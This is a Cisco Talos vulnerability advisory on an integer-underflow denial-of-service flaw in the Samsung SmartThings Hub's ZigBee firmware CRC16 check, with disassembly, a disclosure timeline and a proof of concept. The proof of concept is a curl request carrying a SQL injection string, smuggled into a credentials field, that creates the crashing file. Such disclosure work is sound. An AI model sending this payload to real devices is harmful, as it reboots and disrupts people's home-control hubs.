Talos Vulnerability Report

TALOS-2018-0593

Samsung SmartThings Hub hubCore ZigBee firmware update CRC16 check denial-of-service vulnerability

July 26, 2018
CVE Number

CVE-2018-3926

Summary

An exploitable integer underflow vulnerability exists in the ZigBee firmware update routine of the hubCore binary of the Samsung SmartThings Hub. The hubCore process incorrectly handles malformed files existing in its "data" directory, leading to an infinite loop, which eventually causes the process to crash. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://shop.smartthings.com/products/samsung-smartthings-hub

CVSSv3 Score

5.3 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-191: Integer Underflow (Wrap or Wraparound)

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller that allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

The hubCore process handles most of the features provided by the hub. One of those is the ability to talk to the ZigBee SoC on-board, and to update its firmware. Every 30 seconds, the taskHubRun function is called to sequentially execute a series of tasks. One of these tasks is called taskZigbeeStateRun, which, among other functionalities, allows for updating the ZigBee firmware. To achieve this, the function zigbeeBootLoadFile is called in two instances, for checking the CRC16 of two different files employed in the firmware update process: "/hub/data/hubcore/stZigbee" and "/hub/data/hubcore/stZigbeeNcp".

.text:0015F514     zigbeeBootLoadFile
.text:0015F514
.text:0015F514     nread           = -0x6E8
.text:0015F514     var_6DC         = -0x6DC
.text:0015F514     var_6D8         = -0x6D8
.text:0015F514     var_6D4         = -0x6D4
.text:0015F514     var_6D0         = -0x6D0
.text:0015F514     var_6CC         = -0x6CC
.text:0015F514     buf             = -0x6C2
.text:0015F514     nread_buf       = -0x6C0
.text:0015F514     nbytes          = -0x6BC
.text:0015F514     dst             = -0x6B8
.text:0015F514     sizeptr         = -0x5B8
.text:0015F514     var_5B4         = -0x5B4
.text:0015F514     var_5B0         = -0x5B0
.text:0015F514     var_5AC         = -0x5AC
.text:0015F514     tv              = -0x5A8
.text:0015F514     s               = -0x5A0
.text:0015F514     var_59C         = -0x59C
.text:0015F514
...
.text:0015F6B8 6E8                 MOV             R0, R5                     ; [1] handle
.text:0015F6BC 6E8                 ADD             R1, SP, #0x6E8+sizeptr     ; sizeptr
.text:0015F6C0 6E8                 BL              stFileSize                 ; [2]
.text:0015F6C4 6E8                 CMP             R0, #0
.text:0015F6C8 6E8                 BNE             loc_15F6E8
...
.text:0015F6E8     loc_15F6E8
.text:0015F6E8 6E8                 LDR             R3, [SP,#0x6E8+sizeptr]
.text:0015F6EC 6E8                 MOV             R9, #4999999               ; [3]
.text:0015F6F4 6E8                 CMP             R3, R9
.text:0015F6F8 6E8                 BHI             loc_15F6CC
.text:0015F6FC 6E8                 MOV             R10, #0
.text:0015F700 6E8                 ADD             R1, SP, #0x6E8+nbytes      ; sizeptr
.text:0015F704 6E8                 MOV             R0, R5                     ; handle
.text:0015F708 6E8                 STR             R3, [R4,#(dword_AAA48C - 0xAAA468)]
.text:0015F70C 6E8                 STRH            R10, [SP,#0x6E8+buf]
.text:0015F710 6E8                 BL              stFileSize                 ; [4]
.text:0015F714 6E8                 CMP             R0, R10
.text:0015F718 6E8                 BEQ             loc_15F728
.text:0015F71C 6E8                 LDR             R3, [SP,#0x6E8+nbytes]
.text:0015F720 6E8                 CMP             R3, R9
.text:0015F724 6E8                 BLS             loc_15F798
...
.text:0015F798     loc_15F798
.text:0015F798 6E8                 BL              crc16_init                 ; [5]
.text:0015F79C 6E8                 LDR             R1, [SP,#0x6E8+nbytes]     ; [6]
.text:0015F7A0 6E8                 MOV             R9, R0
.text:0015F7A4 6E8                 SUB             R1, R1, #2                 ; [6]
.text:0015F7A8 6E8                 CMP             R1, R10
.text:0015F7AC 6E8                 STR             R1, [SP,#0x6E8+nbytes]     ; [6]
.text:0015F7B0 6E8                 ADDEQ           R10, SP, #0x6E8+nread_buf
.text:0015F7B4 6E8                 BEQ             loc_15F8A8
...
.text:0015F7C8 6E8                 MOV             R11, R10
...
.text:0015F7F4 6E8                 MOV             R6, R11
...
.text:0015F800 6E8                 B               loc_15F824
.text:0015F804 ---------------------------------------------------------------------------
.text:0015F804
.text:0015F804     loc_15F804                                                 ; loop
.text:0015F804 6E8                 LDR             R1, [SP,#0x6E8+nread_buf]  ; len
.text:0015F808 6E8                 BL              crc16_buffer_append        ; [8]
.text:0015F80C 6E8                 LDR             R3, [SP,#0x6E8+nread_buf]
.text:0015F810 6E8                 MOV             R9, R0
.text:0015F814 6E8                 LDR             R1, [SP,#0x6E8+nbytes]     ; file_size
.text:0015F818 6E8                 ADD             R6, R6, R3                 ; [9]
.text:0015F81C
.text:0015F81C     loc_15F81C
.text:0015F81C 6E8                 CMP             R6, R1                     ; [10]
.text:0015F820 6E8                 BCS             loc_15F88C
.text:0015F824
.text:0015F824     loc_15F824
.text:0015F824 6E8                 RSB             R3, R6, R1
.text:0015F828 6E8                 ADD             R2, SP, #0x6E8+dst         ; buf
.text:0015F82C 6E8                 CMP             R3, #0x100
.text:0015F830 6E8                 STR             R10, [SP,#0x6E8+nread]     ; nread
.text:0015F834 6E8                 MOVCS           R3, #0x100                 ; count
.text:0015F838 6E8                 MOV             R0, R5                     ; handle
.text:0015F83C 6E8                 MOV             R1, R6                     ; file_size
.text:0015F840 6E8                 BL              stFileRead                 ; [7]
.text:0015F844 6E8                 SUBS            R11, R0, #0
.text:0015F848 6E8                 MOV             R2, R9                     ; crc
.text:0015F84C 6E8                 MOV             LR, #0x1E
.text:0015F850 6E8                 MOV             R3, #0x25A
.text:0015F854 6E8                 ADD             R0, SP, #0x6E8+dst         ; buf
.text:0015F858 6E8                 BNE             loc_15F804                 ; loop
.text:0015F85C 6E8                 ADD             R0, SP, #0x6E8+sizeptr
.text:0015F860 6E8                 MOV             R7, #0
.text:0015F864 6E8                 STR             R8, [SP,#0x6E8+var_5AC]
.text:0015F868 6E8                 STR             LR, [SP,#0x6E8+sizeptr]
.text:0015F86C 6E8                 STR             R4, [SP,#0x6E8+var_5B4]
.text:0015F870 6E8                 STR             R3, [SP,#0x6E8+var_5B0]
.text:0015F874 6E8                 BL              log_shouldEmitRecord
.text:0015F878 6E8                 CMP             R0, R7
.text:0015F87C 6E8                 BNE             loc_15F93C
.text:0015F880
.text:0015F880     loc_15F880
.text:0015F880 6E8                 LDR             R1, [SP,#0x6E8+nbytes]
.text:0015F884 6E8                 ADD             R6, R1, #1
.text:0015F888 6E8                 B               loc_15F81C
.text:0015F88C ---------------------------------------------------------------------------
.text:0015F88C
.text:0015F88C     loc_15F88C
...

A series of custom functions are used for interacting with the filesystem and computing the CRC16. For the sake of brevity, we list below only the reverse-engineered prototypes of those functions.

// Given a file handle, the size of the file is stored in the "size" pointer.
// Returns 1 on success, 0 otherwise.
int stFileSize(int handle, int *size);

// Given a file handle, reads a maximum of "count" bytes into "buf".
// Finally, the number of bytes read is stored in "nread".
// Returns 1 on success, 0 otherwise.
int stFileRead(int handle, int file_size, char *buf, int count, int *nread);

// Initializes the CRC16 value.
// Always returns 0xffff.
int crc16_init();

// Starting from the value set by "crc", updates the CRC16 with the data stored in "buf" (which has length "len").
// Returns the updated CRC16.
int crc16_buffer_append(char *buf, int len, int crc);

At [1], r5 contains the handle to the file passed as argument (either "/hub/data/hubcore/stZigbee" or "/hub/data/hubcore/stZigbeeNcp"). The file size is calculated [2] and the result stored in sizeptr. At [3], the file is checked to be not bigger than 4,999,999 bytes. At [4], the file size is retrieved again, but stored in nbytes, and again, the result is checked to be not bigger than 4,999,999. At [5], the CRC16 value is initialized, and the file length is decreased by two [6], assuming that a two-byte CRC16 value is present at the end of the file. The execution then enters a loop, which reads the file contents [7] in chunks of 256 bytes for updating the current CRC16 value [8]. At [9], r6 keeps the number of bytes read, which is updated by adding the current chunk length (r3). Finally at [10], r1 (which contains the file size minus two) is compared against r6, in order to exit the loop when all bytes are processed.

The operation at [6] is unsafe, and can result in an integer underflow when the size of the file is either 0 or 1. If this happens, nbytes will have a value respectively of 0xfffffffe or 0xffffffff, which will cause the loop to try to read past the end of the file. This is not considered an error, and stFileRead will still return 1, but the nread value will be 0 since no bytes have been read. This, in turn, causes the increment at [9] to be ineffective, and the loop never terminates.

Additionally, hubCore runs a "watchdog" thread which, if not restarted, kills the process itself by calling abort(). Since the loop never terminates, the watchdog is never restarted and the process is killed. Moreover, hubCore is responsible for restarting the system watchdog "/dev/watchdog", and since hubCore is never restarted, the device is rebooted shortly after.

Note that in order to exploit this vulnerability, an attacker needs to be able to create files inside the device. This can be achieved using TALOS-2018-0556, as demonstrated in the proof of concept below.

Exploit Proof of Concept

The following proof of concept shows how to create an empty "/hub/data/hubcore/stZigbee" file using TALOS-2018-0556, which will cause the hubCore process to crash, and in turn the device to reboot.

$ sInj='","_id=0 where 1=2;commit;attach database \\"/hub/data/hubcore/stZigbee\\" as x;--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}"

Timeline

2018-05-14 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.